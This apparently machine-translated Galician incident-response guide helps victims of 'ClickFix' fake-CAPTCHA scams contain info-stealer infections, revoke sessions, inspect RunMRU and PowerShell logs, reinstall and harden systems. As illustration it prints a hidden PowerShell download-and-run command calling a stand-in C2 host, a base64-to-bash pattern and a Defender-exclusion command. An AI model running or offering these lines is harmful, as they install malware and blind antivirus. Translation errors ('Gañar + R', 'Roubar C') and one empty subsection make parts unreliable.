A estafa de CAPTCHA falsa "ClickFix": por que premendo Win+R e Ctrl+V executa o malware Info-Stealer¶

Se acabas de facer clic nun botón "Non son un robot" ou "Verificar que es humano" nun sitio web (ou viu un falso Cloudflare Turnstile, Google Meet, Zoom ou unha ventá emerxente de erro de actualización do navegador) que che indicaba que premes Windows + R (ou abra MacOS Terminal), preme Ctrl + V (Cmd + V), e preme Enter, o teu ordenador acaba de executar unha carga útil de malware en directo - o máis habitual Lumma Stealer, Vidar, StealC, RedLine, ou Atomic macOS Stealer (AMOS) ladrón de información. Ningún CAPTCHA, verificación de Cloudflare ou ferramenta de videoconferencia lexítima na Terra pedirá a un humano que abra o diálogo Executar de Windows (Win + R), o terminal de Windows, o símbolo do sistema ou o terminal de macOS e pega un comando. Cando fixo clic na caixa de verificación falsa "Verificar" nesa páxina web, JavaScript malicioso (navigator.clipboard.writeText()) copiou silenciosamente un PowerShell oculto, mshta.exe, rundll32, ou curl | bash comando no seu portapapeis. Dentro de 3 a 6 segundos de presionar Enter, ese script descargou un executable na memoria que descifraba e exfiltrou cada contrasinal gardado, tarxeta de crédito de enchemento automático, bóveda de extensións do navegador de criptomonedas (MetaMask, Phantom, Rabby(2FA). Para unha corrección profunda das sesións de navegador secuestradas, consulte tamén secuestro de cookies de sesión, malware infostealer e revogación de claves de acceso; se xa ves que os fondos saen dunha carteira de autocustodia, vai inmediatamente a Drenaxe de carteira de criptomonedas e compromiso de frase semente; ou se un estafador che invitou a instalar AnyDesk ou ScreenConnect, consulta Estafa emerxente de soporte técnico e eliminación de escritorio remoto. Se esta infección ocorreu nunha estación de traballo hospitalaria, rede municipal, ou implica unha extorsión inmediata para salvar vidas, chame ao número de emerxencia local (911 nos Estados Unidos e Canadá, 112 en toda a Unión Europea, 999 no Reino Unido) ou consulte o noso directorio de números de emerxencia.

Fai isto agora¶

1. Desenchufe o cable Ethernet ou desactive a wifi no ordenador infectado en 5 segundos: os ladrones de información como Lumma Stealer empaqueta as bases de datos SQLite do teu navegador (Login Data, Cookies, Network/Cookies, Web Data) en a .zip arquivar en %TEMP% e cárgueo a un comando e control (C2), a miúdo implementa un troiano de acceso remoto secundario (RAT), proxy residencial SOCKS5 ou cargador de ransomware. Ao cortar a conectividade a Internet detén as cargas útiles secundarias e a transmisión continua de pantallas ou teclas de forma inmediata.
2. NON uses o ordenador infectado para cambiar os teus contrasinais: colle un teléfono intelixente limpo (en datos móbiles) ou un ordenador non infectado agora mesmo: se un rexistrador de teclas persistente, un secuestrador de portapapeis ou HVNC O módulo (Hidden Virtual Network Computing) está a executarse na memoria RAM do PC infectado, escribindo os seus novos contrasinais nese mesmo PC, devólvese as novas credenciais ao atacante.
3. Desde o teu teléfono limpo, fai clic en "Pechar sesión en todos os dispositivos / Revogar todas as sesións activas" no teu correo electrónico principal (Gmail / Microsoft 365 / Yahoo), xestor de contrasinais e SSO de traballo (Okta / Entra ID) PRIMEIRO:
4. Por que simplemente cambiar o teu contrasinal NON é suficiente: os ladrones de información rouban as túas cookies de sesión de autenticación activa (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). En moitas plataformas, unha cookie de sesión exportada segue sendo válida durante días ou semanas a menos que faga clic explícitamente en Pechar sesión en todas as sesións/Revogar tokens E xire o contrasinal.
5. Google/Gmail: Visita myaccount.google.com/device-activity -> selecciona cada sesión de escritorio -> fai clic en Pechar sesión, despois cambia o teu contrasinal de Google e inspecciona Settings -> Forwarding and POP/IMAP para as regras de reenvío silencioso.
6. Microsoft/Outlook/ID de entrada: Visita mysignins.microsoft.com/security-info -> fai clic en Pechar sesión en todas partes e, a continuación, restablece o teu contrasinal.
7. Se tivese algunha extensión de carteira de criptomoneda (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) nese ordenador, evacúe todos os fondos a unha nova frase inicial nun dispositivo limpo inmediatamente:
8. Lumma Stealer e AMOS copia o cifrado Local Extension Settings Ficheiros de bóveda IndexedDB/LevelDB desde Chrome/Brave/Edge directamente ao servidor do atacante, onde os clústeres de GPU forzan a forza bruta da súa extensión local para desbloquear o contrasinal fóra de liña (ou le a frase inicial directamente desde a RAM se está desbloqueada). Supoña que cada frase inicial e clave privada almacenada nese PC está comprometida ao 100%.
9. Antes de limpar o PC, mantén o comando exacto que pegaches para saber o que executou:
10. En Windows, abra o Bloc de notas (mentres aínda está sen conexión) e prema Ctrl + V para pegar o que aínda está no portapapeis ou prema Windows + R e faga clic na frecha do menú despregable para ler o máis recente (MRU) Executar o historial almacenado HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Tira unha foto dese comando co teu teléfono para responder a incidentes.
11. Realiza unha reinstalación limpa do sistema operativo USB (ou un borrado forense completo sen conexión) en lugar de confiar nunha análise rápida do antivirus: Modern ClickFix as cargas útiles usan binarios de Windows asinados lexítimos (Living-off-the-Land Binaries ou LOLBins como mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, e AutoIt3.exe) que se inxectan en procesos lexítimos do sistema (explorer.exe, svchost.exe) e moitas veces engaden exclusións a Windows Defender (Add-MpPreference -ExclusionPath).

Árbore de decisión: contención e recuperación inmediatas despois dun ClickFix Win+R ou pegar terminal¶

Siga esta árbore de decisións no momento en que te decates de que pegases un comando Win + R, Terminal Windows ou Terminal macOS:

flowchart TD
    Start["Pegouse o comando de corrección de erros / CAPTCHA falso en Win+R, PowerShell ou macOS Terminal"] --> Disconnect["PASO 1 (0 a 10 segundos): Desconecte Ethernet e apague o Wi-Fi no ordenador infectado inmediatamente"]

    Disconnect --> CryptoCheck{"Este ordenador tiña algunha carteira criptográfica (MetaMask, Phantom, Exodus, Ledger Live, chaves gardadas)?"}

    CryptoCheck -->|"Si"| EvacCrypto["PASO 2 (URXENTE): Nunha carteira de teléfono/hardware limpa, xera unha NOVA frase de referencia e transfire todos os activos inmediatamente"]
    CryptoCheck -->|"Non"| CleanDevice["PASO 2: Cambia a un teléfono intelixente limpo (datos móbiles) ou a un dispositivo non infectado"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["PASO 3: Revoga as sesións do servidor e rota os contrasinais en orde de prioridade estrita"]

    RevokeSessions --> P1["1. Correo electrónico principal (Gmail/M365/Proton): elimina todas as sesións activas do dispositivo, restablece o contrasinal, verifica as regras de reenvío"]
    P1 --> P2["2. SSO de traballo / corporativo (Okta / Entra ID / VPN / AWS / GitHub / Chaves SSH): notifique inmediatamente ao SOC corporativo se as contas de traballo foron iniciadas."]
    P2 --> P3["3. Contas financeiras, bancarias, PayPal, Stripe, Amazon, Steam, Discord e redes sociais"]

    P3 --> InspectPayload["PASO 4 (Fóra de liña en PC infectado): Comprobe o rexistro de RunMRU e o ID de evento operativo de PowerShell 4104 para identificar a carga útil"]

    InspectPayload --> WipeChoice{"Este é un punto final corporativo ou un ordenador persoal?"}
    WipeChoice -->|"Corporativo/BYOD con acceso ao traballo"| CorpIR["Máquina manual fóra de liña para a seguridade informática/SOC para a clasificación forense EDR e a reimaxe de BitLocker"]
    WipeChoice -->|"Persoal Windows/Mac"| CleanInstall["Fai unha copia de seguranza só de documentos simples (sen .exe/.bat/.dmg) -> Boot Clean USB -> Borrar particións e reinstalar SO"]

Fase 1: Anatomía do ataque "ClickFix" - Como secuestra unha páxina web Win + R¶

Comprender o que pasou dentro do teu sistema operativo durante eses 5 segundos explica por que certos ficheiros e contas están en perigo inmediato mentres que outros non.

1. Os 3 señuelos de enxeñería social utilizados nas campañas ClickFix¶

Os atacantes distribúen superposicións de ClickFix en publicidade maliciosa (resultados de busca patrocinados), sitios de WordPress comprometidos, portais de software/streaming pirateados, repositorios falsos de GitHub e correos electrónicos de phishing: 1. The Fake Cloudflare / Google reCAPTCHA Box ("Verifica que es humano"): Fai clic na caixa de verificación "Non son un robot". En lugar dunha marca de verificación verde, aparece unha ventá emerxente que di: "Detectouse tráfico inusual. Para verificar que es humano, siga estes 3 pasos: 1. Preme Windows + R no teu teclado. 2. Prema Ctrl + V. 3. Prema Enter." 2. O erro de actualización ou a fonte falsa de Chrome/Edge ("Produciuse un erro ao mostrar esta páxina web"): Un fondo borroso cobre o sitio web cun diálogo de Chrome de aspecto oficial que afirma que falta un certificado raíz ou unha actualización de fonte esixe que abras Windows PowerShell/Terminal e pegues o "script de corrección oficial". 3. O erro falso do micrófono ou da cámara de Google Meet/Microsoft Teams: Enviada a través de invitacións falsas para entrevistas de traballo ou ligazóns de reunións de clientes, a páxina mostra unha pantalla de vídeo xiratoria e solicita aos usuarios de macOS e Windows que abran Terminal e peguen un comando de "reinicio do controlador".

2. Por que o comando parecía inofensivo no Win + R caixa¶

O Windows + R (Run) a caixa de texto de diálogo ten só 259 caracteres de ancho visualmente (MAX_PATH campo de entrada da IU) e só mostra o fin dunha cadea pegada despois de que o cursor salte á dereita. Os atacantes explotan este truncamento visual enchendo o seu comando malicioso con espazos ou rematando cun comentario falso:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Exactamente que Lumma Stealer, StealC, e AMOS roubar en 4 segundos¶

Fase 2: bloqueo da conta e revogación da sesión (minutos 1 a 30: nun dispositivo limpo)¶

Mentres o ordenador infectado permanece completamente desconectado de Internet, utiliza un smartphone ou un segundo ordenador limpo para executar esta secuencia de contención exacta.

Paso 1: bloquea as túas contas de correo electrónico (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Para cada conta de correo electrónico que se iniciou sesión en calquera perfil do navegador (Default, Profile 1, Work) nese ordenador: 1. Terminar todas as sesións activas do dispositivo: - Google/Gmail: ir a myaccount.google.com/device-activity -> selecciona o dispositivo Windows/Mac infectado (e calquera sesión descoñecida) -> fai clic en Pechar sesión. Visita tamén myaccount.google.com/connections e revoga todas as aplicacións OAuth de terceiros sospeitosas. - Microsoft (M365 persoal e laboral): vai a account.live.com/proofs/Manage (persoal) ou mysignins.microsoft.com/security-info (traballo) -> fai clic en Pechar sesión en todas partes. 2. Cambia o contrasinal do correo electrónico por un contrasinal único e novo almacenado só no teu dispositivo limpo. 3. Auditar inmediatamente as regras, os filtros e o reenvío automático da caixa de entrada: Os operadores de ladrones de información executan scripts automatizados que inician sesión nas cookies roubadas de Gmail/Outlook aos poucos minutos da infección e crean un filtro oculto: Se a mensaxe contén "Seguridade", "Código", "Coinbase", "Binance", "Banco" ou "Steam" -> Marcar como lido, Reenviar ao atacante, Mover á papeleira ou fontes RSS. - En Gmail: abre unha vista de escritorio -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses E Forwarding and POP/IMAP. Elimina inmediatamente calquera filtro ou enderezo de reenvío descoñecido. - En Outlook/M365: Abrir Settings -> Mail -> Rules E Mail -> Forwarding E Mail -> Junk email (Verifique os remitentes bloqueados para asegurarse de que o atacante non bloqueou no-reply@accounts.google.com ou o seu banco).

Paso 2: bloquear os xestores de contrasinais (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Gardaches os teus contrasinais dentro do Xestor de contrasinais integrado de Chrome/Edge/Brave? Todos os contrasinais gardados en Chrome, Edge, Brave, Opera ou Firefox (a non ser que Firefox tivese un contrasinal principal personalizado) foi exportado en texto plano polo ladro de información. Debes tratar o 100 % dos contrasinais almacenados no xestor de contrasinais integrado do navegador como comprometidos e cambialos comezando polas contas financeiras, de correo electrónico e de traballo.
• Utizou un xestor de contrasinais dedicado (1Password, Bitwarden, Proton Pass, Keeper)?
• Se a bóveda estaba bloqueada no momento en que executaches o comando, a túa bóveda cifrada permanecerá protexida polo teu contrasinal principal/chave secreta.
• Se a extensión da bóveda estaba desbloqueada na memoria (ou se escribiu o contrasinal principal despois de executar o comando), inicie sesión na bóveda web do xestor de contrasinais desde o seu teléfono limpo, faga clic en Desautorizar todas as sesións (Bitwarden: Settings -> My Account -> Deauthorize Sessions), xira o teu contrasinal principal e prioriza a rotación de credenciais de alto valor dentro da bóveda.

Paso 3: Revoga os tokens de programador, corporativo e de chat (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: cambiar o teu contrasinal de Discord invalida automaticamente o teu antigo token de autenticación (leveldb ficha). Cambia inmediatamente o teu contrasinal de Discord desde o teu teléfono, comproba Settings -> Devices -> Pecha sesión en todos os dispositivos coñecidos e comproba Settings -> Authorized Apps e Settings -> Billing (eliminar tarxetas de crédito gardadas/PayPal).
• Telegram: abre no teu teléfono Telegram -> Settings -> Devices -> toca Terminar todas as demais sesións inmediatamente (isto mata a calquera roubado tdata clon de cartafol de escritorio).
• Steam: no teu teléfono, abre a aplicación Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, cambie o contrasinal e comprobe que non se rexistrou ningunha chave API en steamcommunity.com/dev/apikey (os estafadores rexistran unha clave da API web de Steam para secuestrar ofertas comerciais).
• GitHub / GitLab / AWS / SSH: se es enxeñeiro de software ou administrador de sistemas, visita github.com/settings/sessions (revogar sesións de navegador), github.com/settings/keys (eliminar as claves SSH almacenadas nese PC), github.com/settings/tokens (revogue as fichas de acceso persoal) e xire calquera -/.aws/credentials Chaves IAM na consola AWS IAM inmediatamente. Consulta a nosa guía dedicada Compromiso npm/PyPI da cadea de subministración e rotación da chave da estación de traballo do programador.

Fase 3: Inspección forense fóra de liña - Descubra exactamente o que funcionou no seu PC¶

Antes de limpar e reinstalar o ordenador infectado (ou mentres preparas un informe para o teu equipo de seguridade corporativo), podes inspeccionar con seguridade o ClickFix o comando fixo mentres mantiña a máquina 100 % fóra de liña (Wi-Fi desactivada, Ethernet desconectada).

1. Inspeccionando Windows Win + R Historial e rexistros de PowerShell¶

1. ** Comprobe o Windows Run (Win + R) Rexistro MRU (Most Recently Used) lista**: Aberto regedit.exe ou unha xanela de PowerShell sen conexión e executa:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Todos os comandos escritos ou pegados Win + R gárdase aquí en propiedades a, b, c, etc. Mira o comando gravado na letra que aparece primeiro en MRUList.
2. Verifique o rexistro de eventos de rexistro de bloques de script de PowerShell (ID de evento 4104): Aínda que o atacante usase -WindowStyle Hidden (-w h) e codificación Base64 (-EncodedCommand / -e), Windows decodifica e rexistra automaticamente scripts de PowerShell sospeitosos no Visor de eventos:
3. Preme Win + X -> Visor de eventos -> navegar a Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Filtro para ID de evento 4104 (Execute a Remote Command). Verá o script de PowerShell desofuscado exacto, o URL desde o que descargou e o cartafol en %TEMP%, %AppData%, ou %LocalAppData% onde deixou caer a súa carga útil secundaria.
5. Comproba onde se instalou a persistencia en Windows: Os ladrones de información e os seus scripts de carga (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) establece a supervivencia do reinicio en catro lugares:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Se ves C:\, C:\Users, %AppData%, ou .exe engadido baixo ExclusionPath ou ExclusionProcess, o malware cegou explícitamente a Microsoft Defender na súa máquina.)

2. Inspeccionando macOS despois de realizar un ClickFix de terminal (Atomic macOS Stealer / AMOS ou Poseidon)¶

En macOS, as páxinas ClickFix indican ao usuario que abra Terminal (Cmd + Space -> Terminal) e pega un comando codificado en base64 como echo "..." | base64 -d | bash. 1. Estando fóra de liña, comproba o teu historial de shell (cat -/.zsh_history | tail -n 30 ou cat -/.bash_history). 2. Comprobe se o malware instalou un LaunchAgent persistente en segundo plano:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Fase 4: Remediación limpa: por que deberías borrar e reinstalar (ou executar o rescate sen conexión)¶

Axencias de seguridade (CISA, FBI, NCSC) recomenda encarecidamente borrar e reinstalar o sistema operativo dunha unidade USB limpa despois dun roubo de información ou LOLBin execución, porque os cargadores adoitan inxectar shellcode en binarios lexítimos do sistema, instalar controladores de rootkit/proxy ou deixar portas traseiras inactivas (NetSupport RAT / Cobalt Strike).

Reinstalación limpa paso a paso e copia de seguranza de ficheiros¶

1. Mentres o PC infectado aínda estea sen conexión, fai unha copia de seguranza SÓ dos ficheiros de datos puros: Copia só documentos persoais, fotos, follas de cálculo e código fonte (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) nunha unidade USB externa. Nunca faga unha copia de seguridade .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, ou navegador User Data cartafoles de perfil.
2. Nun SEGUNDO ordenador limpo, cree un USB de creación de medios Windows 11 de arranque (microsoft.com/software-download/windows11) ou entorno de recuperación de macOS.
3. Arranque desde o instalador USB limpo, elimine todas as particións existentes no SSD de arranque (polo que a partición do sistema EFI, o MSR e a partición do SO principal están recentemente creadas) e instala unha copia limpa do sistema operativo.
4. Se non podes limpar a máquina inmediatamente:
5. Eliminar todas as exclusións de Defender (Remove-MpPreference -ExclusionPath ...).
6. Inicie en Modo seguro de Windows coa conexión de rede desactivada (ou desde un Disco de rescate de Kaspersky/ESET SysRescue Live USB) e execute exploracións sen conexión completas usando Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes e ESET Online Scanner, ademais de inspeccionar todas as entradas en Sysinternals Autoruns (autoruns64.exe) con Ocultar entradas de Microsoft desmarcada.

Fase 5: Endurecemento de Windows e macOS para que ClickFix nunca volva ocorrer¶

• Ocultar ou desactivar Windows + R (Run) para membros da familia non técnicos ou usuarios corporativos estándar a través da Política de Grupo/Rexistro: Configuración NoRun = 1 (DWORD) baixo HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer desactiva completamente o Windows + R atallo de teclado. Porque o 95 por cento dos ataques ClickFix dependen da presión do usuario Win + R, ao desactivar o diálogo Executar, detén o ataque antes de que un usuario poida pegar nada.
• Cambia a asociación de ficheiros predeterminada para .hta, .vbs, .js, e .wsf guións para notepad.exe: desactivando mshta.exe e wscript.exe a través de Windows Attack Surface Reduction (ASR) normas ou asociación .hta/.vbs/.js con Bloc de notas impide a execución do script.
• Actualiza as contas críticas a claves de acceso vinculadas ao hardware (FIDO2 / WebAuthn Chaves de seguranza como YubiKey): Aínda que os ladrones de información poden roubar cookies de sesión dun navegador despois de iniciar sesión, as chaves de seguranza de hardware (FIDO2) con duración de sesión curta e avaliación continua de acceso (CAE / Credenciais de sesión vinculadas ao dispositivo DBSC) evitar que os atacantes volvan autenticar ou exportar as credenciais subxacentes.
• Instale un bloqueador de anuncios e publicidade malicioso do navegador (uBlock Origin / uBlock Origin Lite) e habilite a Navegación segura mellorada: Máis do 60 por cento das infeccións con ClickFix orixínanse de anuncios de busca maliciosos de Google/Bing que suplantan software lexítimo (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) ou sitios de streaming.

Números de emerxencia rexionais e protocolos da axencia¶

Se un ClickFix / Lumma Stealer a infección comprometeu as credenciais corporativas, os sistemas sanitarios, as contas financeiras ou as redes gobernamentais, informe do incidente inmediatamente a través das canles oficiais:

• Estados Unidos e Canadá:
• Infraestrutura crítica de emerxencia para a vida e seguridade: Marque 911 se unha infección perturba os sistemas clínicos dos hospitais ou as operacións de seguridade pública.
• FBI Internet Crime Complaint Center (Centro de denuncias por delitos en Internet)IC3) (EUA): envía un informe inmediato en ic3.gov (especialmente se a moeda criptográfica, os cables bancarios ou o compromiso de correo electrónico empresarial corporativo resultou das cookies de sesión roubadas).
• Axencia de Seguridade en Ciberseguridade e Infraestruturas (CISA) (EE. UU.): as organizacións empresariales e de infraestruturas críticas deberían informar sobre as infraccións do robo de información a 1-844-Say-CISA (1-844-729-2472) ou cisa.gov/report.
• Centro Canadiense Antifraude (CAFC) & Cyber Center: Chamar 1-888-495-8501 ou informar en cyber.gc.ca.
• Reino Unido:
• Servizos de emerxencia: Marque 999 (ou 101 para policías que non sexan de emerxencia).
• Action Fraud & NCSC: informe de ciberdelitos e fondos roubados a Action Fraud (0300 123 2040 / actionfraud.police.uk). Se se filtraron datos ou credenciais de clientes corporativos, avalía a notificación obrigatoria do RGPD do Reino Unido durante 72 horas ao ICO (0303 123 1113).
• Unión Europea:
• Servizos de emerxencia: Marque 112 en todos os estados membros da UE.
• Información do artigo 33 do RGPD e NIS2 CSIRT: porque Lumma Stealer exfiltra todo o navegador Login Data, Cookies, e cachés de enchemento automático, calquera portátil corporativo infectado que conteña datos persoais de empregados ou clientes constitúe unha infracción confirmada de datos de confidencialidade, que require unha avaliación para a notificación de 72 horas á súa autoridade nacional de protección de datos (DPA).
• Australia e Nova Zelanda:
• Servizos de emerxencia: Marque 000 en Australia ou 111 en Nova Zelanda.
• Centro australiano de ciberseguridade (ACSC / ReportCyber): Chamar 1300 CYBER1 (1300 292 371) ou presentar en cyber.gov.au (e póñase en contacto con IDCARE en 1800 595 160 para a recuperación da identidade). En Nova Zelanda, informe a CERT NZ (0800 237 869).
• India e Asia-Pacífico:
• Liña de axuda nacional de ciberdelincuencia da India e CERT-In: Chamar 1930 inmediatamente se se produciu fraude financeiro, presente en cybercrime.gov.in, e informe de incumprimentos organizativos a CERT-In (incident@cert-in.org.in) dentro de 6 horas.

Preguntas frecuentes¶

abrín Win + R e presionado Ctrl + V, polo que o texto apareceu no cadro, pero decateime de que parecía sombreado e fixen clic en "Cancelar" SEN presionar Enter. Estou infectado?¶

Non, estás completamente a salvo. Unha páxina web do navegador pode copiar texto no portapapeis usando JavaScript (navigator.clipboard.writeText), e premendo Gañar + R seguido de Ctrl + V simplemente pega esa cadea de texto na caixa de entrada de Windows Run. Non se executa nada ata que premes Entra ou prema OK. Se premeches Cancelar ou pechou o Corre caixa sen presionar Entra, non se lanzou ningún comando. Simplemente borra o portapapeis copiando unha palabra inofensiva como ola no Bloc de notas e peche a pestana do navegador malicioso.

Por que Windows Defender ou o meu antivirus non bloquearon o comando cando o peguei Win + R?¶

Porque ti, o usuario humano que accedeu, presionaches fisicamente Gañar + R e bater Entra, Windows trata o comando como unha acción administrativa intencional lanzada desde explorer.exe en lugar dun ficheiro non fiable descargado de Internet (que normalmente levaría un Mark-of-the-Web Zona.Identificador etiqueta). Ademais, as cadeas ClickFix usan binarios asinados de Microsoft integrados (mshta.exe, powershell.exe, conhost.exe, ou intérpretes de terceiros asinados como AutoIt3.exe) para montar e descifrar a carga útil directamente na RAM, a miúdo executándose Add-MpPreference -ExclusionPath "C:\" no primeiro milisegundo antes de escribir calquera ficheiro de malware recoñecible no disco.

Un ladrón de información rouba ficheiros de todas as contas de usuario do meu PC ou só do meu perfil de inicio de sesión (Default vs. Profile 1, Profile 2)?¶

Exploración de ladrones de información cada cartafol de perfil do navegador dentro da túa conta de usuario de Windows (%LocalAppData%\Google\Chrome\Datos de usuario\Predeterminado, Perfil 1, Perfil 2, etc., en Chrome, Edge, Brave, Opera e Firefox), aínda que eses perfís de navegador secundarios non tivesen unha ventá aberta nese momento. Isto significa que se mantés un perfil de Chrome "Traballo" e un perfil de Chrome "Persoal" separados baixo o mesmo inicio de sesión de Windows, A ambos os perfís roubáronlles os contrasinais gardados e as cookies de sesión simultáneamente.

E se estivese a usar unha clave de acceso na miña conta de Google ou Microsoft: roubou o ladrón de información a miña clave de acceso?¶

Depende de onde se gardase a clave de acceso e, o máis importante, definitivamente roubou a cookie de sesión activa creada despois de iniciar sesión con esa clave de acceso. En primeiro lugar, se xa iniciaches sesión en Google/Microsoft en Chrome/Edge nese PC, o atacante non necesita a túa clave de acceso porque roubou a túa cookie de sesión autenticada en directo, polo que aínda debes facer clic en Pechar sesión en todas as sesións nun dispositivo limpo. En segundo lugar, se a túa clave de acceso foi almacenada en Windows Hello (TPM 2.0 chip de hardware) ou nun YubiKey físico ou iPhone, o malware non pode exportar a clave privada dentro do chip de hardware. Non obstante, se almacenaches claves de acceso sincronizadas nunha bóveda de extensións de navegador de terceiros desbloqueada nese PC, revoga esas claves na configuración de seguranza da túa conta inmediatamente.

Como é o "Cifrado vinculado a aplicacións" de Google Chrome (v20 cookies) afectados, e faino Lumma Stealer ignoralo?¶

A partir de Chrome 127+, Google presentou App-Bound Encryption en Windows, que vincula o cifrado de cookies (`v20` prefixo) a un servizo elevado do sistema Windows (`GoogleChromeElevationService`) para evitar que o malware de baixo privilexio descifra as cookies. Non obstante, as construcións modernas Lumma Stealer, Roubar C, e Medusa evita activamente o cifrado vinculado á aplicación inxectando código directamente nunha instancia sen cabeza de chrome.exe, abusando do porto de depuración remota de Chrome (--remote-debugging-port), ou elevando privilexios para chamar a Elevador Interface COM. Nunca asumas que Chrome 127+ protexeu as túas cookies de sesión se executaches unha carga útil ClickFix; sempre revogue todas as sesións inmediatamente.

Pode un comando ClickFix executado no meu teléfono iPhone ou Android infectar o meu teléfono Win + R malware?¶

Se tocaches un CAPTCHA falso nun iPhone (`iOS`) ou teléfono Android, calquera Windows PowerShell / mshta.exe o comando copiouse no portapapeis do teu móbil non se pode executar en iOS ou Android, porque os sistemas operativos móbiles non teñen a Gañar + R Executar diálogo, powershell.exe, ou mshta.exe. Non obstante, algunhas páxinas de ClickFix compatibles con móbiles detectan o teu axente de usuario móbil e redirixente para instalar un Android malicioso. .apk un ficheiro de Xestión de dispositivos móbiles iOS malicioso (`MDM`) ou unha subscrición maliciosa de notificacións PWA/Web Push. Comprobe que non instalou ningún ficheiro ou perfil descargado.

Guías relacionadas¶

• Secuestro de cookies de sesión, malware infostealer e revogación de claves de acceso
• Drenaxe de carteira de criptomoedas e compromiso de frase semente
• Infección por malware, ransomware e spyware
• Conta de correo electrónico pirateada, regras de reenvío e recuperación
• Compromiso do paquete npm/PyPI da cadea de subministración e rotación da chave da estación de traballo do programador
• Software antivirus falso, spam de notificacións e purga de permisos push do navegador
• Números de emerxencia por país

Fontes e orientacións oficiais¶

• Axencia de Seguridade Cibernética e de Infraestruturas (CISA) e Oficina Federal de Investigacións (FBI) (Estados Unidos): Aviso conxunto de ciberseguridade (AA24-131A / Avisos sobre ameazas de Infostealer e Lumma Stealer): Mitigating Living-off-the-Land (LOLBin) e Ataques de roubo de fichas de sesión.
• Instituto Nacional de Estándares e Tecnoloxía (NIST) (Estados Unidos): Publicación especial 800-61 Rev. 2: Computer Security Incident Handling Guide & SP 800-63B: Digital Identity Guidelines (Session Management and Reauthentication).
• Microsoft Threat Intelligence (Microsoft Security): Analizando campañas de enxeñería social de ClickFix, inxección falsa do portapapeis de CAPTCHA (RunMRU), e rexistro de bloques de script de PowerShell (Event ID 4104).
• Centro Nacional de Ciberseguridad (NCSC) (Reino Unido): Mitigación de ataques de malware e ransomware e orientación sobre o roubo de credenciais a nivel de dispositivo.
• Axencia da Unión Europea para a Ciberseguridade (ENISA): Informe da paisaxe de ameazas de ENISA: Ladrones de información (Lumma, StealC, RedLine, AMOS) e contramedidas de secuestro de cookies de sesión.